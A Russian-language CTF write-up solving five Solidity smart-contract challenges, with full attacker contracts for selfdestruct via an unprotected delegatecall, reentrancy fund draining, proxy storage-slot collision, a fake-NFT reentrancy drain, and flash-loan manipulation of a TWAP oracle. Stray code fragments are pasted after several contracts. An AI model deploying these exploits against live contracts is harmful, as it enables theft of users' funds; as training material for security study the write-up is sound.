December 3, 2023

CTF | Mixbytes farm | Autumn'23

С 30.12.23 по 3.12.23 проходил CTF в рамках MixBytes Farm. В этой статье рассмотрены условия задач и их решения.

Задача 0 | Executor | Сложность 3/10

Условие

There is standard proxy pattern with delegatecall. But the owner want to execute arbitary code via execute method. To complete this round you should broke Executor contract to make it impossible to call execute.
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts-legacy/utils/Address.sol";
import "@openzeppelin/contracts-legacy/proxy/Initializable.sol";


contract Proxy {
    // bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    struct AddressSlot {
        address value;
    }
    
    constructor(address _logic) public {
        require(Address.isContract(_logic), "e/implementation_not_contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;

        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );

        require(success, "e/call_failed");
    }

    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // proxy fallback
    fallback() external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}


contract Executor is Initializable {
    address public owner;

    function initialize() external initializer {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner, "e/not_owner");
        _;
    }
    
    function execute(address logic) external payable {
        (bool success,) = logic.delegatecall(abi.encodeWithSignae("exec()"));
        require(success, "e/call_fail");
    }
}

Решение

Pre-read

Идея

  • Задача на понимание Proxy и delegatecall
  • delegatecall позволяет вызывать функции другого контракта, работая при этом с данными вызывающего контракта. Так работают любые Proxy
  • Чтобы запретить вызов execute, нужно сменить имплементацию в Proxy контракте, либо удалить саму имплементацию

Решение

  • Заметим, что в самой имплементации есть функция, содержащая delegatecall, при этом не закрыта модификатором onlyOwner
  • Можно вызвать функцию execute напрямую в имплементации, направив в наш контракт, содержащий selfdestuct. В таком случае любой вызов к имплементации через Proxy будет падать
  • Достаем адрес имплементации из транзакции деплоя или из слота в прокси и выполняем атаку:
contract Killer {
    address public killerOwner = *Your-address*;
    address public executor = *Your-executor-implementation-address*;

    function kill() public payable {
       Executor(executor).execute(address(this));
    }
    function exec() public {
        address payable addr = payable(address(killerOwner));
        selfdestruct(addr);
    }
}

Вызываем функцию kill() у нашего контракта. Следом Executor вызовет exec() в нашем контракте через delegatecall. Таким образом, контракт Executor будет уничтожен, а задача решена.

Задача 1 | Bank2 | Сложность 4/10

Условие

You have a deal with simple bank contract. To complete the level you should steal all funds from contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Bank2 {
  // Bank2 stores users' deposits in ETH and pays personal bonuses in ETH to its best clients
  mapping (address => uint256) private _balances;
  mapping (address => uint256) private _bonuses_for_users;
  uint256 public totalUserFunds;
  uint256 public totalBonusesPaid;
  
  bool public completed;
  
  constructor() payable {
    require(msg.value > 0, "need to put some ETH to treasury during deployment");
    // first deposit for our beloved DIRECTOR
    _balances[0xd3C2b1b1096729b7e1A13EfC76614c649Ba96F34] = msg.value;
  }

  receive() external payable {
    require(msg.value > 0, "need to put some ETH to treasury");
    _balances[msg.sender] += msg.value;
    totalUserFunds += msg.value;
  }

  function balanceOfETH(address _who) public view returns(uint256) {
    return _balances[_who];
  }

  function giveBonusToUser(address _who) external payable {
    require(msg.value > 0, "need to put some ETH to treasury");
    require(_balances[_who] > 0, "bonuses are only for users having deposited ETH");
    _bonuses_for_users[_who] += msg.value;
  }
  
  function withdraw_with_bonus() external {
    require(_balances[msg.sender] > 0, "you need to store money in Bank2 to receive rewards");
    
    uint256 rewards = _bonuses_for_users[msg.sender];
    if (rewards > 0) {
        address(msg.sender).call{value: rewards, gas: 1000000 }("");
        totalBonusesPaid += rewards;
        _bonuses_for_users[msg.sender] = 0;
    }

    totalUserFunds -= _balances[msg.sender];
    _balances[msg.sender] = 0;
    address(msg.sender).call{value: _balances[msg.sender], gas: 1000000 }("");
  }

  function setCompleted(bool _completed) external payable {
    // Bank2 is robbed when its balance becomes less than DIRECTOR has
    require(address(this).balance < _balances[0xd3C2b1b1096729b7e1A13EfC76614c649Ba96F34], "ETH balance of contract should be less, than Mavrodi initial deposit");
    completed = _completed;
  }
}

Решение

Pre-read

Идея

  • Надо знать о паттерне checks - effects - interactions. Его суть заключается в том, что обращения к внешним контрактам и пересылку эфира нужно делать уже после изменения состояния контракта. Иначе есть шанс попасться на Reentrancy.

Решение

  • Просмотрев внимательно контракт замечаем, что в функции withdraw_with_bonus() идёт пересылка нативного токена до изменения состояния контракта. Это приводит к возможности Reentrancy атаки.
  • Увидев эту уязвимость, реализация уже остаётся делом техники:
contract ReentrancyContract {
    address public target = *Your-bank-address*;
    address public hacker = *Your-address*;
    uint256 public donated;
    
    // используем эту функцию для депозита и внесения доната
    function setup() public payable {
        uint256 deposit = msg.value / 2;
        donated = msg.value / 2;
        address(payable(target)).call{value: deposit}("");
        Bank2(payable(target)).giveBonusToUser{value: donated}(address(this));
    }
    
    function startHack() public payable {
        uint256 balanceToDrain = address(payable(target)).balance
                    - Bank2(payable(target)).balanceOfETH(address(this));
        uint256 drainRemainder = address(payable(target)).balance % donated;
        uint256 interationCount = address(payable(target)).balance / donated;
        if (drainRemainder != 0) {
            Bank2(payable(target)).giveBonusToUser{value: drainRemainder}(address(this));
            interationCount++;
        }
        // start reentrancy
        Bank2(payable(target)).withdraw_with_bonus();
    }
    
    // Выводим добычу с контракта
    function withdraw() public {
        hacker.call{value: address(this).balance}("");
    }

    receive() external payable {
        if(address(target).balance > 0) {
            Bank2(payable(target)).withdraw_with_bonus();
        }
    }
}

Для начала вызываем функцию setup() и готовимся к атаке, затем выполняем атаку при помощи функции startHack()

Атака выполнена успешно

Задача 2 | Buckets | Сложность 3/10

Условие

Finally, a smart contract where you can throw your money in the bucket! SuperDevTeam developed a contract Buckets. In that contract you can put Ether in any of the available buckets and get bucket tokens and vice versa. The team wanted to be able to upgrade the contract so they used a standard proxy pattern via OpenZeppelin's ERC1967Proxy. All interactions with buckets go through the proxy contract. To complete this level you must break the system so it would become impossible to call Buckets(proxyAddress).totalSupply().

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract BucketsProxy is ERC1967Proxy {
    // a secret to change the proxy admin in case of an emergency
    // e. g. if the original admin dies
    uint256 private salt;

    constructor(address logic, uint256 premint) ERC1967Proxy(logic, abi.encodeWithSelector(Buckets.initialize.selector, premint)) {
        _changeAdmin(msg.sender);
    }

    // a failsafe admin has a secret address derived from the 256bit secret
    // we allow the method to be called by anyone to not to reveal secret failsafe addresses
    function setFailsafeAdmin(uint256 salt_) external {
        require(salt_ != 0, "SALT_CANNOT_BE_ZERO");
        salt = salt_;
    }

    // only the address that matches the secret should be able to run this method
    // this method should be called in emergency cases when the original administrator has disappeared
    function changeAdmin() external {
        require(keccak256(abi.encode(salt, msg.sender)) == keccak256(abi.encode(_getAdmin())));
        _changeAdmin(msg.sender);
    }

    // upgrade the Buckets implementation
    function upgradeTo(address newImplementation) external {
        require(_getAdmin() == msg.sender, "ADMIN_ONLY");
        _upgradeTo(newImplementation);
    }
}

abstract contract BucketsBase {
    uint256[] public buckets;
}

contract Buckets is BucketsBase, Initializable, ERC20 {
    uint256 private constant MAX_BUCKETS = 10;

    constructor() ERC20("Buckets", "Bucket") {}

    function initialize(uint256 premint) external initializer {
        buckets = new uint256[](MAX_BUCKETS);
        
        // developers' treasury
        buckets[0] = premint;
        _mint(msg.sender, premint);
    }

    // put some ether in a bucket and mint bucket tokens
    function deposit(uint256 bucketNumber) external payable {
        buckets[bucketNumber] += msg.value;
        _mint(msg.sender, msg.value);
    }

    // withdraw some ether from a bucket and burn bucket tokens
    function withdraw(uint256 bucketNumber, uint256 amount) external {
        buckets[bucketNumber] -= amount;
        _burn(msg.sender, amount);
        payable(msg.sender).transfer(amount);
    }
}

Решение

Pre-read

Идея

  • Чтобы решить эту задачу, нам нужно базовое понимание устройства EVM. Важно знать как хранятся переменные разного типа.
  • А именно, важно понимать, как хранится динамический массив.

Решение

  • Довольно быстро можно заметить, что salt и массив
    uint256[] public bucketsпересекаются и делят один слот - ошибка в использовании Proxy.
  • Увидев эту уязвимость, пытаемся найти способ её использовать. Поскольку массив бесконечный, мы можем перезаписать любой слот, следующий за нулевым элементом этого массива (ведь они хранятся один за одним).
  • Зная слот прокси и слот нулевого индекса массива (вычисляется так: кkeccak256(web3.eth.abi.encodeParameters(["uint256"], [0]))), вычисляем нужный индекс элемента proxy_slot - zero_index_slot и получаем нужный элемент массива
  • Отправляем 2 транзакции:
// salt = type(uint256).max, чтобы сделать массив бесконечной длины
function setFailsafeAdmin(uint256 salt_) external {
        require(salt_ != 0, "SALT_CANNOT_BE_ZERO");
        salt = salt_;
    }
   }
}
// bucketNumber = proxy_slot - zero_index_slot
function deposit(uint256 bucketNumber) external payable {
        buckets[bucketNumber] += msg.value;
        _mint(msg.sender, msg.value);
    }

Задача успешно решена, ведь мы перетерли адрес имплементации!

Задача 3 | Serious Business Investment | Сложность 4/10

Условие

You found a serious investment crypto company with a high daily profit. You can invest there from 0.01 to 0.05 ETH and get profit for all your life! In addition with a first deposit you get some bonus NFT manki. There are three types of mankis' NFTs: bronze, silver and gold. You may keep it and sell one day for big money. Or you can bring it back to company's contract after some time (from 1 to 3 months depending from the type of your manki). Finally you found out, that there may be some problem in calculation of your daily profit. Can you find another way to get money from the contract? To pass this level the resulting balance of company's contract should be less than 0.01 ETH

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

// Bonus NFT for every investor
// Get one free with the first deposit, sell later for 100.000$ or more*
// After some holding time it can be burned for a bonus
interface IMegaMankiNFT {
    // Mint NFT to a new investor (called only by the Company)
    function mint(address to, uint tokenId) external;

    // Burn NFT to claim a bonus (called only by the Company)
    function burn(uint tokenId) external;

    function ownerOf(uint256 tokenId) external view returns (address);

    // Timestamp after which it's possible to burn NFT
    // The higher rank of NFT, the lower will be delay
    function burnUnlockTime(uint tokenId) external view returns (uint unlockTime);
}

// Welcome to our high-profitable investment company
// You can make one deposit from 0.01 to 0.05 and get percents for all your life!
// Also get a bonus NFT with your deposit
contract SeriousBusinessInvestment {
    address public owner;
    mapping(string => IMegaMankiNFT) public bonusNfts;
    uint public nftCounter = 1;
    enum NFT_USER_STATUS {NOT_GENERATED, GENERATED, BURNED}

    uint public MIN_DEPO = 10 ** 16;
    uint public MAX_DEPO = 5 * 10 ** 16;
    uint public NFT_BURN_REWARD = 3 * 10 ** 15;
    uint[4] public AMOUNT_STEPS = [2 * 10 ** 16, 3 * 10 ** 16, MAX_DEPO];
    string[3] public RANKS = ["bronze", "silver", "gold"];
    uint[3] public DAILY_PERCENTS = [2, 3, 5];
    
    mapping(address => Stake) public stakes;

    struct Stake {
        uint stake;
        uint nftId;
        string rank;
        NFT_USER_STATUS nftStatus;
        uint percent;
        uint lastTime;
    }

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {}

    function pendingProfit() public view returns (uint) {
        Stake storage stake = stakes[msg.sender];
        require(stake.lastTime > 0, "At first you need to deposit!");
        uint fulldaysPast = (block.timestamp - stake.lastTime) / 1 days;
        return stake.percent / 100 * fulldaysPast * stake.stake;
    }

    function withdrawProfit() public {
        Stake storage stake = stakes[msg.sender];
        uint profit = pendingProfit();
        stake.lastTime = block.timestamp;
        payable(msg.sender).transfer(profit);
    }

    function deposit() payable public {
        require(!(msg.value < MIN_DEPO), "You are unable to deposit less than MIN_DEPO");
        require(!(msg.value > MAX_DEPO), "You are unable to deposit more than MAX_DEPO");
        Stake storage stake = stakes[msg.sender];
        require(stake.stake == 0, "One user can make only one deposit");
        stake.stake = msg.value;
        stake.lastTime = block.timestamp;
        for (uint i = 0; i < AMOUNT_STEPS.length; i++) { 
            if (msg.value < AMOUNT_STEPS[i]) {
                stake.rank = RANKS[i];
                stake.percent = DAILY_PERCENTS[i];
            }
        }
        stake.nftStatus = NFT_USER_STATUS.GENERATED;
        IMegaMankiNFT(bonusNfts[stake.rank]).mint(msg.sender, nftCounter++);
    }

    function claimNftReward(uint nftId) public {
        Stake storage stake = stakes[msg.sender];
        require(stake.nftStatus == NFT_USER_STATUS.GENERATED, "Nft for this user is already burnt or not created");
        require(nftId > 0, "Wrong token id");
        IMegaMankiNFT nft = bonusNfts[stake.rank];
        require(nft.ownerOf(nftId) == msg.sender, "This NFT doesn't belong to the caller");
        require(nft.burnUnlockTime(nftId) <= block.timestamp, "It's too early to burn NFT");
        payable(msg.sender).transfer(NFT_BURN_REWARD);
        nft.burn(nftId);
        stake.nftStatus = NFT_USER_STATUS.BURNED;
    }

    function nftContractsInitializer(string memory rank, address nft) public {
        require(nft != address(0), "Zero NFT address!");
        require(address(bonusNfts[rank]) == address(0), "NFT for the rank is already initialized!");
        bonusNfts[rank] = IMegaMankiNFT(nft);
    }

    // This function is for some investment things
    function notRugPull() public {
        require(msg.sender == owner, "Only owner!");
        payable(owner).transfer(address(this).balance);
    }
} amount);
        payable(msg.sender).transfer(amount);
    }
}

Решение

Pre-read

  • None!

Идея

  • Для решения этой задачи нужно внимательно изучить контракт. У нас есть возможность добавить свой NFT токен, но как ей воспользоваться?

Решение

  • Для начала изучим, как воспользоваться своим NFT:
    • Замечаем, что у массивов разные размерности
uint[4] public AMOUNT_STEPS = [2 * 10 ** 16, 3 * 10 ** 16, MAX_DEPO];
string[3] public RANKS = ["bronze", "silver", "gold"];
uint[3] public DAILY_PERCENTS = [2, 3, 5];
  • Замечаем, что в функции deposit() нет проверки на == MAX_DEPO, а значит, запись ранга и процента будут пропущены:
function deposit() payable public {
        require(!(msg.value < MIN_DEPO), "You are unable to deposit less than MIN_DEPO");
        require(!(msg.value > MAX_DEPO), "You are unable to deposit more than MAX_DEPO");
        /* What if msg.value == MAX_DEPO? */
        Stake storage stake = stakes[msg.sender];
        require(stake.stake == 0, "One user can make only one deposit");
        stake.stake = msg.value;
        stake.lastTime = block.timestamp;
        for (uint i = 0; i < AMOUNT_STEPS.length; i++) {
            // What if msg.value == MAX_DEPO?
            // if condition will never be true
            if (msg.value < AMOUNT_STEPS[i]) {
                stake.rank = RANKS[i]; // will be empty
                stake.percent = DAILY_PERCENTS[i]; // will be empty
            }
        }
        stake.nftStatus = NFT_USER_STATUS.GENERATED;
        IMegaMankiNFT(bonusNfts[stake.rank]).mint(msg.sender, nftCounter++);
    }
  • Теперь становится ясен вектор атаки:
    • Создаём свою атакующую NFT
    • Делаем депозит MAX_DEPO
    • Делаем реентранси атаку при вызове claimNftReward(uint nftId) (нарушен паттерн checks - effects - interactions)
  • Пишем контракт своей NFT:
contract FakeMegaMankiNFT {
    address target =*Your-target-address*;
    // оставляем функцию пустой, чтобы прошёл mint при deposit()
    function mint(address to, uint tokenId) external {}
    // поскольку за NFT награда ровно 3000000000000000
    // убедимся, что баланса достаточно для вывода такой суммы
    function burn(uint tokenId) external {
        if (address(target).balance < 3000000000000000) return;
        SeriousBusinessInvestment(payable(target)).claimNftReward(1);
    }
    function ownerOf(uint256 tokenId) external view returns (address) {
        return address(this);
    }
    // возвращаем малое значение, чтобы не было временной блокировки
    function burnUnlockTime(uint tokenId) external view returns (uint unlockTime) {
        return 1;
    }
    // делаем депозит, "минтим" себе эту NFT и забираем награду
    function startExploit() public payable {
        // добавляем свою NFT в список
        SeriousBusinessInvestment(payable(target))
                    .nftContractsInitializer("", address(this));
        // Делаем депозит
        SeriousBusinessInvestment(payable(target)).deposit
                        {value: SeriousBusinessInvestment(payable(target)).MAX_DEPO()}();
        // начинаем атаку
        exploit();
    }
    // вход в reentrancy
    function exploit() public {
        SeriousBusinessInvestment(payable(target)).claimNftReward(1);
    }
    function withdraw() public {
        msg.sender.transfer(address(this).balance);
    }
    receive() external payable {}
}

Вызываем функцию startExploit() и задача решена.

Задача 4 | Totalizator | Сложность 10/10

Условие

A new interesting tote has appeared in the crypto community, where participants predict the price of bitcoin and compete with each other. The tote has its own TT token, which is traded on Uniswap V2.

The tote works according to the scheme:

  • a new round is created, the duration of each round is 1 hour
    the first 15 minutes, participants place bets on the rise or fall in value
    after the end of the round, all deposited funds (including additional prize funds) are divided - among the winners in proportion to the deposited funds
  • To get the price of BTC, the contract uses a special TWAP oracle that receives data from the Uniswap V2 pair and averages it by using sliding window. At the beginning and after the end of the round, the contract fixes the prices and then they are used to determine the winners.

To promote tote, the organizers announced a large prize fund and sent it to the contract.

Your task is to participate in the tote and win.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/access/Ownable.sol';
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";

contract TWAPOracle {
    uint constant public min = 1 minutes;
    uint constant public MAX_LENGTH = 100;
    uint public immutable length;
    address public immutable pair;
    uint[MAX_LENGTH] public ticks;
    uint public round;
    uint public lastUpdated;

    constructor (uint _length, address _pair) {
        require(_length < MAX_LENGTH, "big len" );
        length = _length;
        pair = _pair;
    }

    function update() external {
        if (lastUpdated != 0 && block.timestamp < lastUpdated + 5 * min) return;

        uint price = _getPoolPrice();

        uint tickIndex = round % length;
        ticks[tickIndex] = price;
        round ++;
        lastUpdated = block.timestamp;
    }

    function _getPoolPrice() internal view returns (uint) {
        (uint stableCount, uint assetCount,) = IUniswapV2Pair(pair).getReserves();
        return 1e18 * stableCount / assetCount;
    }

    function getPrice() public view returns (uint) {
        uint avg = 0;
        if (round == 0) return 0;
        uint tickIndex = (round - 1) % length;
        uint samples = tickIndex + 1;
        for (int i = int(tickIndex); i >= 0; i--) {
            avg += ticks[uint(i)]; // * weight (if oracle uses weighted averages)       
        }

        if (round >= length) {
            samples = length;
            for (int i = int(length-1); i >= int(tickIndex); i--)
            {
                avg += ticks[uint(i)]; // * weight (if oracle uses weighted averages)            
            }
        }
        return avg / samples;
    }
}

contract SimpleToken is ERC20, Ownable {
    constructor(string memory name) ERC20(name, name) {}
    function mint(address to, uint amount) external onlyOwner {
        _mint(to, amount);
    }
}

contract Totalizator {

    uint constant public ROUND_INTERVAL = 1 hours;
    TWAPOracle public immutable oracle;

    uint public round;
    uint public totalDepositedUp;
    uint public totalDepositedDown;    
    uint public start;
    uint public price;
    uint public finalPrice;

    address public immutable btc;
    address public immutable usdt;    
    address public immutable token;

    mapping(uint => mapping(address => uint)) userUp;
    mapping(uint => mapping(address => uint)) userDown;    

    constructor (address pool, address _token,address _btc, address _usdt) {
        oracle = new TWAPOracle(5, pool);        
        token = _token;        
        btc = _btc;
        usdt = _usdt;
    }

    function newRound() external  {
        require(start == 0 || (start > 0 && start + ROUND_INTERVAL * 3/2 < block.timestamp), "!bid" );        

        oracle.update();

        round ++;
        price = oracle.getPrice();
        finalPrice = 0;
        start = block.timestamp;
        totalDepositedUp = 0;  
        totalDepositedDown = 0;        
    }

    function deposit(uint amount, bool up) external payable {
        require(start > 0 && block.timestamp > start && block.timestamp < start + ROUND_INTERVAL/4, "!bid" );

        oracle.update();

        IERC20(token).transferFrom(msg.sender, address(this), amount);

        if (up) {
            require( userDown[round][msg.sender] == 0, "only_up");            
            userUp[round][ msg.sender ] += amount;
            totalDepositedUp += amount;
        }
        else {
            require(userUp[round][msg.sender] == 0, "only_down");
            userDown[round][ msg.sender ] += amount;
            totalDepositedDown += amount;
        }
    }

    function claim() external payable {
        require( start > 0, "!round" );
        require( start + ROUND_INTERVAL < block.timestamp, "!finished" );     

        oracle.update();

        if (finalPrice == 0) {
            finalPrice = oracle.getPrice();            
        }   

        uint upUserDeposit = userUp[round][msg.sender];
        uint downUserDeposit = userDown[round][msg.sender];

        // price has be out of 0.1% range
        require(             
            totalDepositedUp + totalDepositedDown > 0 &&
            (
                (upUserDeposit > 0 && finalPrice >= price * 1001 / 1000) ||
                (downUserDeposit > 0 && finalPrice <= price * 999 / 1000)
            ), 
            "!winner" );


        userUp[round][msg.sender] = 0;
        userDown[round][msg.sender] = 0;        
        if (upUserDeposit > 0) {
            uint prize = IERC20(token).balanceOf(address(this)) * upUserDeposit / totalDepositedUp;
            IERC20(token).transfer(msg.sender, prize);
        }
        else {
            uint prize = IERC20(token).balanceOf(address(this)) * downUserDeposit / totalDepositedDown;
            IERC20(token).transfer(msg.sender, prize);
        }
    }    
}).transfer(address(this).balance);
    }
} amount);
        payable(msg.sender).transfer(amount);
    }
}

Решение

Pre-read

Идея

  • Довольно очевидно, что оракул в данной задаче плохой. Он берет текущую цену с пула Uniswap, которой можно манипулировать в любую сторону.

Решение

  • Есть 2 способа решить задачу:
    • Занять USDT в пуле BTC/USDT, начать раунд и вернуть (таким образом запишется высокая цена BTC)
    • Занять UST в пуле TToken/USDT, обменять USDT на BTC, начать раунд, обменять BTC на USDT и вернуть займ

Поняв идею хака, остаётся этап реализации, который не сложен. Не прикладываю своё решение, чтобы можно было потренироваться самому :)

Поэтапно распишу второй способ, поскольку он сложнее (границами размечены отдельные транзакции):


  • Занимаем USDT в пуле TToken/USDT (0.3% * 3 от займа нам предется заплатить в качестве комиссии)

обмениваем USDT на BTC в пуле BTC/USDT

  • Начинаем раунд в контракте Totalizator
  • обмениваем BTC на USDT в пуле BTC/USDT
  • Возвращаем взятые в залог USDT
  • Выплачиваем со своего счета 0.3% * 3 комиссии (отсюда следует, что максимальный займ примерно в 100 раз больше нашего баланса)

  • Со своего аккаунта ставим на падение/рост (в зависимости от порядка токенов в паре BTC/USDT)

  • Ждём 60 минут и забираем награду

Контракт для выполнения атаки:

В задаче нам предоставляются только пулы, поэтому функционал роутера надо реализовать вручную.

contract Winner {

    address immutable hacker = *Your-address*;

    address TT = *Your-ToteToken-address*;
    address BTC = *Your-BTC-address*;
    address USDT = *Your-USDT-address*;
    address TTUSDTPair = *Your-TTUSDpair-address*;
    address BTCUSDTPair = *Your-BTCUSDTPair-address*;
    address totalizer = *Your-totalizer-address*;
    
    function attack(uint256 amountOutDec) public {
        // flashloan at TTUSDTPair
        flashloanUsdt(amountOutDec);
    }

    function uniswapV2Call(
             address sender, 
             uint256 amount0Out, 
             uint256 amount1Out, 
             bytes calldata data 
        ) public {
        // swap USDT for BTC at BTCUSDTPair
        swapUsdtForBtc();
        // StartRound at Totalizer
        startRound();
        // swap BTC for USDT at BTCUSDTPair
        swapBtcForUsdt();
        // return USDT to TTUSDTPair
        repayFlashloan(amount0Out, amount1Out);
    }

    function startRound() public {
        Totalizator(totalizer).newRound();
    }
    // flashloan USDT
    function flashloanUsdt(uint256 amountOutDec) public {
        uint256 amountOut = amountOutDec * 10**18;
        (uint reserve0, uint reserve1,) = IUniswapV2Pair(TTUSDTPair)
                                                .getReserves();
        address token0 = IUniswapV2Pair(TTUSDTPair).token0();
        (uint amount0Out, uint amount1Out) = TT == token0 ? 
          (uint(0), amountOut) : (amountOut, uint(0));
        
        // go to callback
        IUniswapV2Pair(TTUSDTPair)
             .swap(amount0Out, amount1Out, address(this), new bytes(1));
    }
    // swap all USDT to BTC w/o any callback
    function swapUsdtForBtc() public {
        uint256 amountIn = USDT_Token(USDT).balanceOf(address(this));
        (uint112 reserve0, uint112 reserve1,) = 
                 IUniswapV2Pair(BTCUSDTPair).getReserves();
        address token0 = IUniswapV2Pair(BTCUSDTPair).token0();
        USDT_Token(USDT).transfer(BTCUSDTPair, amountIn);
        
        // if USDT is not token0, need to flip reserves
        if (USDT != token0) { 
            (reserve0, reserve1) = (reserve1, reserve0);
        }
        uint256 amountOut = 
             getAmountOut(amountIn, uint256(reserve0), uint256(reserve1));
        (uint amount0Out, uint amount1Out) = 
               USDT == token0 ? 
                       (uint(0), amountOut) : (amountOut, uint(0));

        IUniswapV2Pair(BTCUSDTPair)
               .swap(amount0Out, amount1Out, address(this), new bytes(0));
    }
    // swap all BTC to USDT w/o any callback
    function swapBtcForUsdt() public {
        uint256 amountIn = BTC_Token(BTC).balanceOf(address(this));
        (uint112 reserve0, uint112 reserve1,) = 
               IUniswapV2Pair(BTCUSDTPair).getReserves();
        address token0 = IUniswapV2Pair(BTCUSDTPair).token0();
        BTC_Token(BTC).transfer(BTCUSDTPair, amountIn);
        
        // if BTC is not token0, need to flip reserves
        if (BTC != token0) {                            
            (reserve0, reserve1) = (reserve1, reserve0);
        }
        uint256 amountOut = 
            getAmountOut(amountIn, uint256(reserve0), uint256(reserve1));
        (uint amount0Out, uint amount1Out) = 
            BTC == token0 ? 
                   (uint(0), amountOut) : (amountOut, uint(0));

        IUniswapV2Pair(BTCUSDTPair)
           .swap(amount0Out, amount1Out, address(this), new bytes(0));
    }

    function repayFlashloan(uint256 amount0Out, uint256 amount1Out) public {
        require(amount1Out < USDT_Token(USDT)
           .balanceOf(hacker), "not enough for fee");
        // выплачиваю комиссию
        USDT_Token(USDT).transferFrom(
                             hacker, 
                             TTUSDTPair, 
                             USDT_Token(USDT).balanceOf(hacker)
                         );
        // отдаю флешлоун
        USDT_Token(USDT).transfer( 
            TTUSDTPair, 
            USDT_Token(USDT).balanceOf(address(this))
        ); 
    } 
}

Надеюсь, вам, как и мне, очень понравились задачи. Было интересно узнать для себя что-то новое, а также проверить навыки в деле.

удачи :)